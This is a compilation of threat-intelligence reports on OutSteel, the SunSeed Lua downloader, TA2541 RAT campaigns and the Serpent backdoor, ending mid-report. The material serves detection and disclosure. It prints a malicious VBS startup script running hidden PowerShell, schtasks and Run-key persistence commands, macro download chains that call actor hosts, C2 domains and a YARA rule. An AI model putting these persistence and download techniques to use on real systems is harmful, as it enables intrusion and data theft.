10. Calls WinHttpReceiveResponse, WinHttpQueryDataAvailable and WinHttpReadData to get the HTTP response data
11. Writes the response data to %PUBLIC%\5653YQ5T3.exe by calling WriteFile
12. Closes handle to %PUBLIC%\5653YQ5T3.exe by calling CloseHandle
13. Runs %PUBLIC%\5653YQ5T3.exe by calling ShellExecuteW
14. Finishes by calling ExitProcess
The file hosted at 150520212[.]space/0404.exe (SHA256:
cb4a93864a19fc14c1e5221912f8e7f409b5b8d835f1b3acc3712b80e4a909f1) is an OutSteel sample that gathers and
exfiltrates files to http://45[.]146.164.37/upld/.
July 2021 Targeting
On July 22, 2021, we observed a spear phishing attempt in which the threat group targeted a Western government entity in
Ukraine. The actors sent the email to an address publicly displayed on the embassy
s website with the subject RE: CV. The
email had a Word document attached to it with a filename structured as <first name>_<last name>_CV.doc, of which the
name was a well-known journalist in Ukraine. Figure 29 shows the contents of the attached document as it would display in
a native Ukrainian installation of Windows.
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Figure 29. Contents of delivery document used in July 2021 attacks on an embassy in Kyiv.
The content of the document is meant to resemble a resume of the journalist. However, the garbled text suggests an
encoding issue that the Ukrainian version of Windows could not display. The image is a stock photo available at several
websites [1][2][3], which does not appear to be a picture of the actual journalist. The garbled text is likely intentional as an
attempt to trick the user into clicking the 
Enable Editing
 button, which would ultimately run the macro embedded in the
document. The macro that will run if the user clicks the 
Enable Editing
 button, seen in Figure 30, creates a batch script
called meancell.bat that executes a PowerShell command that will use the Start-BitsTransfer cmdlet to download a payload
from hxxp://1833[.]site/kpd1974.exe. It then saves it to and executes everylisten.exe. Figure 30 shows the contents of the
macro found in this delivery document.
Figure 30. Contents of macro in delivery document.
The kpd1974.exe file (SHA256: b8ce958f56087c6cd55fa2131a1cd3256063e7c73adf36af313054b0f17b7b43) downloaded
and executed by the macro ultimately runs a variant of the OutSteel document harvesting tool that exfiltrates files to
hxxp://45.146.165[.]91:8080/upld/. We found two additional delivery documents that shared a similar macro and hosted
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the payload on the 1833[.]site, as seen in Table 5. One of the filenames of these two related documents suggest that the
threat group continued to use the fake resume theme.
First Seen
Filename
Download URL
7/23/2021
 (22-7-2021).doc
hxxp://1833[.]site/gp00973.exe
7/23/2021
CV_RUSLANA.doc
hxxp://1833[.]site/rsm1975.exe
Table 5. Related delivery documents used in July attack.
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30/30
Asylum Ambuscade: State Actor Uses Compromised
Private Ukrainian Military Emails to Target European
Governments and Refugee Movement
proofpoint.com/us/blog/threat-insight/asylum-ambuscade-state-actor-uses-compromised-private-ukrainian-militaryemails
March 1, 2022
Blog
Threat Insight
Asylum Ambuscade: State Actor Uses Compromised Private Ukrainian Military Emails to
Target European Governments and Refugee Movement
March 01, 2022 Michael Raggi, Zydeca Cass and the Proofpoint Threat Research Team
Key Takeaways
Proofpoint has identified a likely nation-state sponsored phishing campaign using a
possibly compromised Ukrainian armed service member
s email account to target
European government personnel involved in managing the logistics of refugees fleeing
Ukraine.
The email included a malicious macro attachment which attempted to download a Luabased malware dubbed SunSeed.
The infection chain used in this campaign bears significant similarities to a historic
campaign Proofpoint observed in July 2021, making it likely the same threat actor is
behind both clusters of activity.
Proofpoint is releasing this report in an effort to balance accuracy with responsibility to
disclose actionable intelligence during a time of high-tempo conflict.
Overview
Ambuscade: To attack suddenly and without warning from a concealed place
Proofpoint researchers have identified a phishing campaign originating from an email
address (ukr[.]net) that appears to belong to a compromised Ukranian armed service
member. This discovery comes on the heels of alerts by the Ukrainian Computer Emergency
Response Team (CERT-UA) and the State Service of Special Communications and
Information Protection of Ukraine about widespread phishing campaigns targeting private
email accounts of Ukrainian armed service members by 
UNC1151
, which Proofpoint tracks
as part of TA445. The email observed by Proofpoint may represent the next stage of these
attacks. The email included a malicious macro attachment which utilized social engineering
themes pertaining to the Emergency Meeting of the NATO Security Council held on February
23, 2022. The email also contained a malicious attachment which attempted to download
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malicious Lua malware named SunSeed and targeted European government personnel
tasked with managing transportation and population movement in Europe. While Proofpoint
has not definitively attributed this campaign to the threat actor TA445, researchers
acknowledge that the timeline, use of compromised sender addresses aligning with
Ukrainian government reports, and the victimology of the campaign align with published
TA445 tactics to include the targeting and collection around refugee movement in Europe.
Proofpoint assesses that, in light of the ongoing Russia-Ukraine war, actions by proxy actors
like TA445 will continue to target European governments to gather intelligence around the
movement of refugees from Ukraine and on issues of importance to the Russian government.
TA445, which appears to operate out of Belarus, specifically has a history of engaging in a
significant volume of disinformation operations intended to manipulate European sentiment
around the movement of refugees within NATO countries. These controlled narratives may
intend to marshal anti-refugee sentiment within European countries and exacerbate tensions
between NATO members, decreasing Western support for the Ukrainian entities involved in
armed conflict. This approach is a known factor within the hybrid warfare model employed
by the Russian military and by extension that of Belarus.
Delivery
On February 24, 2022, Proofpoint detected an email originating from a ukr[.]net email
address which was sent to a European government entity. The email utilized the subject "IN
ACCORDANCE WITH THE DECISION OF THE EMERGENCY MEETING OF THE
SECURITY COUNCIL OF UKRAINE DATED 24.02.2022" and included a macro enabled
XLS file titled 
list of persons.xlsx,
 which was later determined to deliver SunSeed malware.
The social engineering lure utilized in this phishing campaign were very timely, following a
NATO Security Council meeting on February 23, 2022 and a news story about a Russian
government 
kill list
 targeting Ukrainians that began circulating in Western media outlets
on February 21, 2022. The format of the subject included the date 
24.02.2022
 at the end of
subject line and was superficially similar to emails reported by the State Service of Special
Communications and Information Protection of Ukraine (SSSCIP) on February 25, 2022.
This alert indicated that mass phishing campaigns were targeting 
Citizens
 e-mail addresses
in Ukraine. The timing of the Proofpoint observed campaign is notable as it occurred within
close proximity to the campaigns reported by Ukrainian state agencies.
2/18
Figure 1. SSSCIP Ukraine reported email including date format 24.02.2022.
3/18
Figure 2. CERT-UA reports of UNC1151 targeting private accounts of Ukrainian military
personnel.
Open-source research on the sender email address identified the account on a Ukrainian
public procurement document for a Stihl lawn mower in 2016. The email account was listed
as the contact address on the purchase, while the customer was listed as 
2622
 or military unit A2622. This title, as well as the address listed, appear to refer to a
military barracks that houses a military unit in 
 or the Chernihiv
region of Ukraine. While Proofpoint has not definitively determined that this detected
campaign is aligned with the phishing campaigns reported by the Ukrainian government or
that this activity can be attributed to TA445, researchers assess that this may represent a
continuation of the campaigns that utilize compromised Ukrainian personal accounts of
armed service members to target the governments of NATO members in Europe.
4/18
Figure 3. Ukrainian military procurement documents including possible compromised
sender email as contact.
Macro Enabled Attachments
The malicious XLS attachment observed in the email was laden with a simple but distinct
macro. When enabled, it executes a VB macro named 
Module1
 which creates a Windows
Installer (msiexec.exe) object invoking Windows Installer to call out to an actor-controlled
staging IP and download a malicious MSI package. It also sets a Microsoft
document UILevel equal to 
 which specifies a user interface level of 
completely silent
installation.
 This hides all macro actions and network connections from the user. The actor
accesses the delivery IP via the Microsoft Installer InstallProduct method which is intended
5/18
to obtain an MSI install file from a URL, save it to a cached location, and finally begin
installation of the MSI package. Since the actor is utilizing an MSI package as an installer for
a Lua-based malware, this method is well suited to be deployed via a malicious macro-laden
document delivered via phishing.
Figure 4. Observed malicious macro within list of persons.xlsx.
SunSeed Lua Malware Installation
Analysis of the actor-controlled delivery infrastructure identified an MSI package which
installed a series of Lua-based dependencies, executed a malicious Lua script that Proofpoint
has dubbed SunSeed, and established persistence via an LNK file installed for autorun at
Windows Startup. This file, named qwerty_setup.msi, was previously identified publicly by
6/18
security researcher Colin Hardy in response to Proofpoint
s initial content regarding this
threat. The package installs 12 legitimate Lua dependencies, a Windows Lua interpreter, a
malicious Lua script (SunSeed), and a Windows shortcut LNK file for persistence. Notably,
the legitimate Windows Lua interpreter sppsvc.exe has been modified so it does not print any
output to the Windows Console. This is likely an effort to conceal the malware installation
from the infected user. All files, except for the LNK file, are installed to the folder
C:\ProgramData\.security-soft\. The LNK persistence script, which executes the SunSeed
command 
print.lua
 via the Window Lua interpreter, is saved to the directory
C:\ProgramData\.security-soft\sppsvc.exe to be executed at startup. This executes the
malicious SunSeed Lua script 
print.lua
 that attempts to retrieve additional malicious Lua
code from the actor command and control (C2) server.
Legitimate Files and Lua Dependencies:
luacom.dll (LuaCom Library)
ltn12.lua (LuaSocket: LTN12 module)
mime.lua (MIME support for the Lua language)
http.lua (HTTP library for Lua)
url.lua (luasocket)
tp.lua (luasocket)
socket.lua (luasocket)
tp.lua
core.dll
mime.dll
lua51.dll
sppsvc.exe (Lua Windows Standalone Interpreter 
 modified to suppress console
output)
<6 characters>.rbs (Windows Installer Rollback Script)
Persistence File:
Software Protection Service.lnk
Installation Directory:
~\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Software
Protection Service.lnk
Malicious SunSeed Lua Script:
print.lua|
7bf33b494c70bd0a0a865b5fbcee0c58fa9274b8741b03695b45998bcd459328
7/18
Figure 5. Asylum Ambuscade - Campaign Snapshot.
Proofpoint researchers observed several distinct and unusual aspects about the MSI package
upon closer inspection. The actor utilized the Japanese Shift-JIS code base, resulting in a
Japanese language installation message upon launching the MSI package. This may be a
rudimentary false flag intended to conceal the spoken language of the threat actor.
Additionally, examination of the cryptography calls made by the package during installation
indicates that the MSI file appears to have been created using a dated version of WiX Toolset
version 3.11.0.1528. This is an open-source software that allows users to 
build MSIs without
requiring additional software on a build server
 from the command line. This version was last
updated in 2017 with a more recent update being pushed in 2019 and an entirely new version
of the toolset made available in May 2021.
8/18
Figure 6. Japanese code base MSI package installation display.
Figure 7. MSI package cryptography call indicating Windows Installer XML version.
SunSeed Malware Capabilities: A Lua Downloader
Based on decoding of the SunSeed print.lua malicious second stage payload script, it appears
to be a simple downloader which obtains the C Drive partition serial number from the host,
appends to a URL request via a Lua socket, consistently pings the C2 server for additional
9/18
Lua code, and executes the code upon receiving it within a response. At the time of analysis,
Proofpoint did not receive additional Lua code from the C2 server. However, researchers
believe that this is likely intended to deliver subsequent stage payloads to the infected host.
Further attempts to decode the SunSeed Lua host included several notable strings that may
suggest a possible response from the actor-controlled server. These strings do not appear to
be part of the initial SunSeed script
s functionality in the absence of a C2 server response.
Observed string values include, but are not limited to:
serial
string
luacom
CreateObject
Scripting.FileSystemObject
Drives
SerialNumber
socket.http
request
http://84.32.188[.]96/
 socket
sleep
Command and Control
The SunSeed malware when executed issues GET requests over HTTP via port 80 using a Lua
Socket. The requests are issued to the C2 server every three seconds anticipating a response.
The malware specifies the user agent as 
LuaSocket 2.0.2
 and appends the infected target
C Drive partition serial number to the URI request. This is a unique decimal digit value
assigned to a drive upon creation of the file system. It may be an attempt by actors to track
infected victims on the backend per their unique serial number. Additionally, this may allow
operators to be selective about which infections are issued a next stage payload response.
Based on the observed strings in the Lua script, researchers speculate that the server
response may include further malicious commands, or a Lua based installer code which is
executed as a response to the SunSeed payload, depending on the received serial
identification number.
Figure 8. SunSeed Lua malware C2 communication.
Victimology and Targeting
10/18
With the finite data set available to Proofpoint surrounding this campaign, limited
conclusions can be drawn regarding targeting. The Proofpoint-observed email messages were
limited to European governmental entities. The targeted individuals possessed a range of
expertise and professional responsibilities. However, there was a clear preference for
targeting individuals with responsibilities related to transportation, financial and budget
allocation, administration, and population movement within Europe. This campaign may
represent an attempt to gain intelligence regarding the logistics surrounding the movement
of funds, supplies, and people within NATO member countries.
Attribution Remains Unclear
Several temporal and anecdotal indicators exist which suggest that this activity aligns with
reported campaigns by the threat actor TA445/UNC1151/Ghostwriter. However, Proofpoint
has not yet observed concrete technical overlaps which would allow us to definitively
attribute this campaign to this actor. In addition to the notable overlaps with Ukrainian
government reported campaigns referenced previously, the victimology of this campaign with
prominent NATO governments being targeted and a possible focus on the movements of
refugees in NATO countries recalls historic motivations of TA445
s information operations
circa 2021. Specifically, the anti-migratory narratives disseminated by the group also referred
to as Ghostwriter during the 2021 migratory crisis in which Belarus intentionally funneled
refugees to the Polish border belies a possible connection between this 2022 campaign and
TA445
s historic mandate. Mainly both campaigns may indicate the weaponization of
migrants and refugees of war through a hybrid information warfare and targeted cyberattack model. Researchers at Mandiant addressed these tactics by UNC1151
s information
operation team referred to as Ghostwriter (collectively TA445) in a recent presentation (12:17
time stamp), disclosing the existence of the group and attributing the activity to Belarus.
Proofpoint also notes that, in addition to the Asylum Ambuscade operation, in recent days
researchers have detected TA445 credential harvesting activity that aligns with Mandiant
description of this threat group to include the use of GoPhish to deliver malicious email
content. This activity appears distinct from the Asylum Ambuscade campaign. Proofpoint is
currently tracking the actor responsible for Asylum Ambuscade as distinct from TA445 until
a technical relationship can be further established.
Tactic
Asylum Ambuscade Campaign
TA445
Document Attachment Phishing
Focus on Refugee Issues and NATO
11/18
Use of Macro Enabled Documents
Use of GoPhish
Use of MSI Packages
Use of Lua Based Malware
Use of Compromised Sender
Infrastructure
Figure 9. Comparison of Asylum Ambuscade campaign and TA445 TTPs.
While Proofpoint has not definitively determined attribution at this time, researchers assess
with moderate confidence that this campaign and a historic campaign from July 2021 were
conducted by the same threat actor. The July 2021 campaign utilized a highly similar macroladen XLS attachment to deliver MSI packages that install a Lua malware script. Similarly,
the campaign utilized a very recent government report as the basis of the social engineering
content and titled the malicious attachment 
list of participants of the briefing.xls.
addition to the file name being quite similar to the Asylum Ambuscade campaign, the Lua
script created a nearly identical URI beacon to the SunSeed sample, which was composed of
the infected victim
s C Drive partition serial number. Analysis of the cryptography calls in
both samples revealed that the same version of WiX 3.11.0.1528 had been utilized to create
the MSI packages. Finally, the macros in this historic campaign utilized the identical
technique as the Asylum Ambuscade campaign, using Windows Installer to retrieve an MSI
package from an actor-controlled IP resource and suppressing indications of installation
from the user. The July 2021 campaign targeted senior cyber security practitioners and
decisionmakers at private US-based companies, including those in the defense sector.
12/18
Figure 10. Historic malicious macro seen in July 2021.
Conclusion: Balancing Accurate Reporting in a Timely Fashion
This activity, independent of attribution conclusions, represents an effort to target NATO
entities with compromised Ukrainian military accounts during an active period of armed
conflict between Russia, its proxies, and Ukraine. In publishing this report, Proofpoint seeks
to balance the accuracy of responsible reporting with the quickest possible disclosure of
actionable intelligence. The onset of hybrid conflict, including within the cyber domain, has
accelerated the pace of operations and reduced the amount of time that defenders have to
answer deeper questions around attribution and historical correlation to known nation-state
operators. However, these are issues that Proofpoint will continue to research while
13/18
protecting customers globally. Proofpoint invites additional details and input around any
observed activity that aligns with these reports. While the utilized techniques in this
campaign are not groundbreaking individually, if deployed collectively, and during a high
tempo conflict, they possess the capability to be quite effective. As the conflict continues,
researchers assess similar attacks against governmental entities in NATO countries are likely.
Additionally, the possibility of exploiting intelligence around refugee movements in Europe
for disinformation purposes is a proven part of Russian and Belarussian-state techniques.
Being aware of this threat and disclosing it publicly are paramount for cultivating awareness
among targeted entities.
Indicators of Compromise (IOCs)
Type of
<redacted>@ukr[.]net
Sender
Email
IN ACCORDANCE WITH THE DECISION OF THE EMERGENCY MEETING
OF THE SECURITY COUNCIL OF UKRAINE DATED 24.02.2022
Email
Subject
list of persons.xls
1561ece482c78a2d587b66c8eaf211e806ff438e506fcef8f14ae367db82d9b3
Attachment
84.32.188[.]96
qwerty_setup.msi
Package
31d765deae26fb5cb506635754c700c57f9bd0fc643a622dc0911c42bf93d18f
print.lua
7bf33b494c70bd0a0a865b5fbcee0c58fa9274b8741b03695b45998bcd459328
Lua Script
14/18
luacom.dll
f97f26f9cb210c0fcf2b50b7b9c8c93192b420cdbd946226ec2848fd19a9af2c
Files
ltn12.lua
b1864aed85c114354b04fbe9b3f41c5ebc4df6d129e08ef65a0c413d0daabd29
mime.lua
e9167e0da842a0b856cbe6a2cf576f2d11bcedb5985e8e4c8c71a73486f6fa5a
http.lua
d10fbef2fe8aa983fc6950772c6bec4dc4f909f24ab64732c14b3e5f3318700c
socket.dll
3694f63e5093183972ed46c6bef5c63e0548f743a8fa6bb6983dcf107cab9044
mime.dll
976b7b17f2663fee38d4c4b1c251269f862785b17343f34479732bf9ddd29657
lua5.1.dll
fbbe7ee073d0290ac13c98b92a8405ea04dcc6837b4144889885dd70679e933f
url.lua
269526c11dbb25b1b4b13eec4e7577e15de33ca18afa70a2be5f373b771bd1ab
sppsvc.exe
737f08702f00e78dbe78acbeda63b73d04c1f8e741c5282a9aa1409369b6efa8
tp.lua
343afa62f69c7c140fbbf02b4ba2f7b2f711b6201bb6671c67a3744394084269
socket.lua
15fd138a169cae80fecf4c797b33a257d587ed446f02ecf3ef913e307a22f96d
Software Protection Service.lnk
File Name
AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Software
Protection Service.lnk
Directory
Path
C:\ProgramData\.security-soft
Directory
Path
hxxp://84.32.188[.]96/<hexadecimal_value>
15/18
list of participants of the briefing.xls
File
a8fd0a5de66fa39056c0ddf2ec74ccd38b2ede147afa602aba00a3f0b55a88e0
157.230.104[.]79
i.msi
2e1de7b61ed25579e796ec4c0df2e25d2b98a1f8d4fdb077e2b52ee06c768fca
Package
hxxp://45.61.137[.]231/?id=<hexdecimal_value>
wlua5.1.exe
Files
737f08702f00e78dbe78acbeda63b73d04c1f8e741c5282a9aa1409369b6efa8
core.lua
737f08702f00e78dbe78acbeda63b73d04c1f8e741c5282a9aa1409369b6efa8
luacom.dll
f97f26f9cb210c0fcf2b50b7b9c8c93192b420cdbd946226ec2848fd19a9af2c
struct.dll
5b317f27ad1e2c641f85bef601740b65e93f28df06ed03daa1f98d0aa5e69cf0
ltn12.lua
b1864aed85c114354b04fbe9b3f41c5ebc4df6d129e08ef65a0c413d0daabd29
mime.lua
e9167e0da842a0b856cbe6a2cf576f2d11bcedb5985e8e4c8c71a73486f6fa5a
http.lua
d10fbef2fe8aa983fc6950772c6bec4dc4f909f24ab64732c14b3e5f3318700c
socket.dll
3694f63e5093183972ed46c6bef5c63e0548f743a8fa6bb6983dcf107cab9044
16/18
core.dll
9aa3ca96a84eb5606694adb58776c9e926020ef184828b6f7e6f9b50498f7071
core.lua
20180a8012970453daef6db45b2978fd962d2168fb3b2b1580da3af6465fe2f6
mime.dll
976b7b17f2663fee38d4c4b1c251269f862785b17343f34479732bf9ddd29657
lua5.1.dll
fbbe7ee073d0290ac13c98b92a8405ea04dcc6837b4144889885dd70679e933f
url.lua
269526c11dbb25b1b4b13eec4e7577e15de33ca18afa70a2be5f373b771bd1ab
alien.lua
303e004364b1beda0338eb10a845e6b0965ca9fa8ee16fa9f3a3c6ef03c6939f
tp.lua
343afa62f69c7c140fbbf02b4ba2f7b2f711b6201bb6671c67a3744394084269
socket.lua
15fd138a169cae80fecf4c797b33a257d587ed446f02ecf3ef913e307a22f96d
YARA Signatures
17/18
rule WindowsInstaller_Silent_InstallProduct_MacroMethod
meta:
author = "Proofpoint Threat Research"
date = "20210728"
hash = "1561ece482c78a2d587b66c8eaf211e806ff438e506fcef8f14ae367db82d9b3;
a8fd0a5de66fa39056c0ddf2ec74ccd38b2ede147afa602aba00a3f0b55a88e0"
reference = "This signature has not been quality controlled in a production
environment. Analysts believe that this method is utilized by multiple threat actors in the
wild"
strings:
$doc_header = {D0 CF 11 E0 A1 B1 1A E1}
$s1 = ".UILevel = 2"
$s2 = "CreateObject(\"WindowsInstaller.Installer\")"
$s3 = ".InstallProduct \"http"
condition:
$doc_header at 0 and all of ($s*)
Emerging Threats Signatures
2035360 SunSeed Lua Downloader Activity (GET)
2035361 SunSeed Downloader Retrieving Binary (set)
2035362 SunSeed Download Retrieving Binary
Subscribe to the Proofpoint Blog
Select
18/18
Charting TA2541's Flight
proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight
February 9, 2022
Threat Insight
Charting TA2541's Flight
February 15, 2022 Selena Larson and Joe Wise
Key Findings
Proofpoint researchers have tracked a persistent cybercrime threat actor targeting
aviation, aerospace, transportation, manufacturing, and defense industries for years.
The threat actor consistently uses remote access trojans (RATs) that can be used to
remotely control compromised machines.
The threat actor uses consistent themes related to aviation, transportation, and travel.
The threat actor has used similar themes and targeting since 2017.
Proofpoint calls this actor TA2541.
Overview
TA2541 is a persistent cybercriminal actor that distributes various remote access trojans
(RATs) targeting the aviation, aerospace, transportation, and defense industries, among
others. Proofpoint has tracked this threat actor since 2017, and it has used consistent tactics,
techniques, and procedures (TTPs) in that time. Entities in the targeted sectors should be
aware of the actor's TTPs and use the information provided for hunting and detection.
TA2541 uses themes related to aviation, transportation, and travel. When Proofpoint first
started tracking this actor, the group sent macro-laden Microsoft Word attachments that
downloaded the RAT payload. The group pivoted, and now they more frequently send
messages with links to cloud services such as Google Drive hosting the payload. Proofpoint
assesses TA2541 is a cybercriminal threat actor due to its use of specific commodity malware,
broad targeting with high volume messages, and command and control infrastructure.
While public reporting detailing similar threat activities exists since at least 2019, this is the
first time Proofpoint is sharing comprehensive details linking public and private data under
one threat activity cluster we call TA2541.
Campaign Details
Unlike many cybercrime threat actors distributing commodity malware, TA2541 does not
typically use current events, trending topics, or news items in its social engineering lures. In
nearly all observed campaigns, TA2541 uses lure themes that include transportation related
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terms such as flight, aircraft, fuel, yacht, charter, etc.
Figure 1: Email lure requesting information on aircraft parts.
2/12
Figure 2: Email lure requesting ambulatory flight information.
TA2541 demonstrates persistent and ongoing threat activity since January 2017. Typically, its
malware campaigns include hundreds to thousands of messages, although it is rare to see
TA2541 send more than 10,000 messages at one time. Campaigns impact hundreds of
organizations globally, with recurring targets in North America, Europe, and the Middle East.
Messages are nearly always in English.
In the spring of 2020, TA2541 briefly pivoted to adopting COVID-related lure themes
consistent with their overall theme of cargo and flight details. For example, they distributed
lures associated with cargo shipments of personal protective equipment (PPE) or COVID-19
testing kits.
3/12
Figure 3: PPE themed lure used by TA2541.
The adoption of COVID-19 themes was brief, and the threat actor quickly returned to generic
cargo, flight, charter, etc. themed lures.
Multiple researchers have published data on similar activities since 2019 including Cisco
Talos, Morphisec, Microsoft, Mandiant, and independent researchers. Proofpoint can
confirm the activities in these reports overlap with the threat actor tracked as TA2541.
Delivery and Installation
In recent campaigns, Proofpoint observed this group using Google Drive URLs in emails that
lead to an obfuscated Visual Basic Script (VBS) file. If executed, PowerShell pulls an
executable from a text file hosted on various platforms such as Pastetext, Sharetext, and
GitHub. The threat actor executes PowerShell into various Windows processes and queries
Windows Management Instrumentation (WMI) for security products such as antivirus and
firewall software, and attempts to disable built-in security protections. The threat actor will
collect system information before downloading the RAT on the host.
4/12
Figure 4: Example attack chain.
While TA2541 consistently uses Google Drive, and occasionally OneDrive, to host the
malicious VBS files, beginning in late 2021, Proofpoint observed this group begin using
DiscordApp URLs linking to a compressed file which led to either AgentTesla or Imminent
Monitor. Discord is an increasingly popular content delivery network (CDN) used by threat
actors.
Although TA2541 typically uses URLs as part of the delivery, Proofpoint has also observed
this actor leverage attachments in emails. For example, the threat actor may send
compressed executables such as RAR attachments with an embedded executable containing
URL to CDNs hosting the malware payload.
Listed below is an example of a VBS file used in a recent campaign leveraging the StrReverse
function and PowerShell
s RemoteSigned functionality. It is worth noting the VBS files are
usually named to stay consistent with the overall email themes: fight, aircraft, fuel, yacht,
charter, etc.
5/12
Figure 5: Contents of a sample VBS file.
Deobfuscated command:
https://paste[.]ee/r/01f2w/0
The figure below depicts an example from a recent campaign where the PowerShell code is
hosted on the paste.ee URL.
6/12
Figure 6: Paste URL example.
Persistence:
Typically, TA2541 will use Visual Basic Script (VBS) files to establish persistence with one of
their favorite payloads, AsyncRAT. This is accomplished by adding the VBS file in the startup
directory which points to a PowerShell script. Note: the VBS and PowerShell file names used
are mostly named to mimic Windows or system functionality. Examples from recent
campaigns include:
Persistence Example:
C:\Users[User]\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\SystemFramework64Bits.vbs
Contents of VBS file:
Set Obj = CreateObject("WScript.Shell")
Obj.Run "PowerShell -ExecutionPolicy RemoteSigned -File " & "C:\Users\
[User]\AppData\Local\Temp\RemoteFramework64.ps1", 0
Other Recent VBS File Names Observed
UserInterfaceLogin.vbs
HandlerUpdate64Bits.vbs
7/12
WindowsCrashReportFix.vbs
SystemHardDrive.vbs
TA2541 has also established persistence by creating scheduled tasks and adding entries in the
registry. For instance, in November 2021 TA2541 distributed the payload Imminent Monitor
using both of these methods. In recent campaigns, vjw0rm and STRRAT also leveraged task
creation and adding entries to the registry. For example:
Scheduled Task:
schtasks.exe /Create /TN "Updates\BQVIiVtepLtz" /XML C:\Users\
[User]\AppData\Local\Temp\tmp7CF8.tmp
schtasks /create /sc minute /mo 1 /tn Skype /tr "C:\Users\
[Use]\AppData\Roaming\xubntzl.txt"
Registry:
Key: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost
Data: C:\Users[User]\AppData\Roaming\server\server.exe
Key: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\xubntzl
Data: C:\Users\User\AppData\Roaming\xubntzl.txt
Malware
Proofpoint has observed TA2541 using over a dozen different malware payloads since 2017.
The threat actor uses commodity malware available for purchase on criminal forums or
available in open-source repositories. Currently, TA2541 prefers AsyncRAT, but other
popular RATs include NetWire, WSH RAT and Parallax.
8/12
Figure 7: Malware used by TA2541 associated with message volume.
All the malware used by TA2541 can be used for information gathering purposes and to gain
remote control of an infected machine. At this time, Proofpoint does not know what the
threat actor
s ultimate goals and objectives are once it achieves initial compromise.
While AsyncRAT is the current malware of choice, TA2541 has varied its malware use each
year since 2017. The threat actor will typically use just one or a handful of RATs in observed
campaigns, however in 2020, Proofpoint observed TA2541 distributing over 10 different
types of malware, all using the same initial infection chain.
Figure 8: Distribution of TA2541 malware over time.
Infrastructure
9/12
TA2541 uses Virtual Private Servers as part of their email sending infrastructure and
frequently uses Dynamic DNS (DDNS) for C2 infrastructure.
There are multiple patterns across the C2 infrastructure and the message artifacts. For
example, historic campaigns have included the term 
kimjoy
 in the C2 domain name as well
as in the threat actor reply-to address. Another striking TTP is the common pattern observed
with TA2541 C2 domains and payload staging URLs containing the keywords 
kimjoy,
h0pe,
 and 
grace
. TA2541 also regularly uses the same domain registrars including
Netdorm and No-IP DDNS, and hosting providers including xTom GmbH and Danilenko,
Artyom.
Victimology
Often, campaigns contained several hundred to several thousand email messages to dozens
of different organizations. Although Proofpoint has observed TA2541 targeting thousands of
organizations, multiple entities across aviation, aerospace, transportation, manufacturing,
and defense industries appear regularly as targets of its campaigns. There appears to be a
wide distribution across recipients, indicating TA2541 does not target people with specific
roles and functions.
Conclusion
TA2541 remains a consistent, active cybercrime threat, especially to entities in its most
frequently targeted sectors. Proofpoint assesses with high confidence this threat actor will
continue using the same TTPs observed in historic activity with minimal change to its lure
themes, delivery, and installation. It is likely TA2541 will continue using AsyncRAT and
vjw0rm in future campaigns and will likely use other commodity malware to support its
objectives.
Indicators of Compromise (IOCs)
C2 Domains
Indicator
Description
Date Observed
joelthomas[.]linkpc[.]net
AsyncRAT C2 Domain
Throughout 2021
rick63[.]publicvm[.]com
AsyncRAT C2 Domain
January 2022
tq744[.]publicvm[.]com
AsyncRAT C2 Domain
January 2022
10/12
bodmas01[.]zapto[.]org
AsyncRAT C2 Domain
January 2022
bigdips0n[.]publicvm[.]com
AsyncRAT C2 Domain
December 2021
6001dc[.]ddns[.]net
AsyncRAT C2 Domain
September 2021
kimjoy[.]ddns[.]net
Revenge RAT C2 Domain
March 2021
h0pe[.]ddns[.]net
AsyncRAT C2 Domain
April/May 2021
e29rava[.]ddns[.]net
AsyncRAT C2 Domain
June 2021
akconsult[.]ddns[.]net
AsyncRAT C2 Domain
July 2021
grace5321[.]publicvm[.]com
StrRAT C2 Domain
January 2022
grace5321[.]publicvm[.]com
Imminent Monitor C2 Domain
November 2021
VBS SHA256 Hashes
VBS SHA256 hashes observed in recent December and January campaigns.
File Name: Aircrafts PN#_ALT PN#_Desc_&_Qty Details.vbs
SHA256: 67250d5e5cb42df505b278e53ae346e7573ba60a06c3daac7ec05f853100e61c
File Name: charters details.pdf.vbs
SHA256: ebd7809cacae62bc94dfb8077868f53d53beb0614766213d48f4385ed09c73a6
File Name: charters details.pdf.vbs
SHA256: 4717ee69d28306254b1affa7efc0a50c481c3930025e75366ce93c99505ded96
File Name: 4Pax Trip Details.pdf.vbs
SHA256: d793f37eb89310ddfc6d0337598c316db0eccda4d30e34143c768235594a169c
ET Signatures
11/12
2034978 - ET POLICY Pastebin-style Service (paste .ee) in TLS SNI
2034979 - ET HUNTING Powershell Request for paste .ee Page
2034980 - ET MALWARE Powershell with Decimal Encoded RUNPE Downloaded
2850933 - ETPRO HUNTING Double Extension VBS Download from Google Drive
2850934 - ETPRO HUNTING Double Extension PIF Download from Google Drive
2850936 - ETPRO HUNTING VBS Download from Google Drive
12/12
Serpent, No Swiping! New Backdoor Targets French
Entities with Unique Attack Chain
proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain
March 18, 2022
Key Findings
Proofpoint identified a targeted attack leveraging an open-source package installer
Chocolatey to deliver a backdoor.
The attack targeted French entities in the construction, real estate, and government
industries.
The attacker used a resume themed subject and lure purporting to be GDPR
information.
The attacker used steganography, including a cartoon image, to download and install the
Serpent backdoor.
The attacker also demonstrated a novel detection bypass technique using a Scheduled
Task.
Objectives are currently unknown however based on the tactics and targeting observed it
is likely an advanced, targeted threat.
Overview
Proofpoint observed new, targeted activity impacting French entities in the construction and
government sectors. The threat actor used macro-enabled Microsoft Word documents to
distribute the Chocolatey installer package, an open-source package installer. Various parts of
the VBA macro include the following ASCII art and depict a snake as below.
The threat actor attempted to install a backdoor on a potential victim
s device, which could
enable remote administration, command and control (C2), data theft, or deliver other
additional payloads. Proofpoint refers to this backdoor as Serpent. The ultimate objective of
1/10
the threat actor is currently unknown.
Campaign Details
In the observed campaign, messages are in French and purport to be, for example:
From: "Jeanne" <jeanne.vrakele@gmail[.]com>
Subject "Candidature - Jeanne Vrakele"
The messages contain a macro-enabled Microsoft Word document masquerading as
information relating to the 
glement g
ral sur la protection des donn
es (RGPD)
 or the
European Union
s General Data Protection Regulations (GDPR).
Figure 1: GDPR themed lure.
When macros are enabled, the document executes that macro, which reaches out to an image
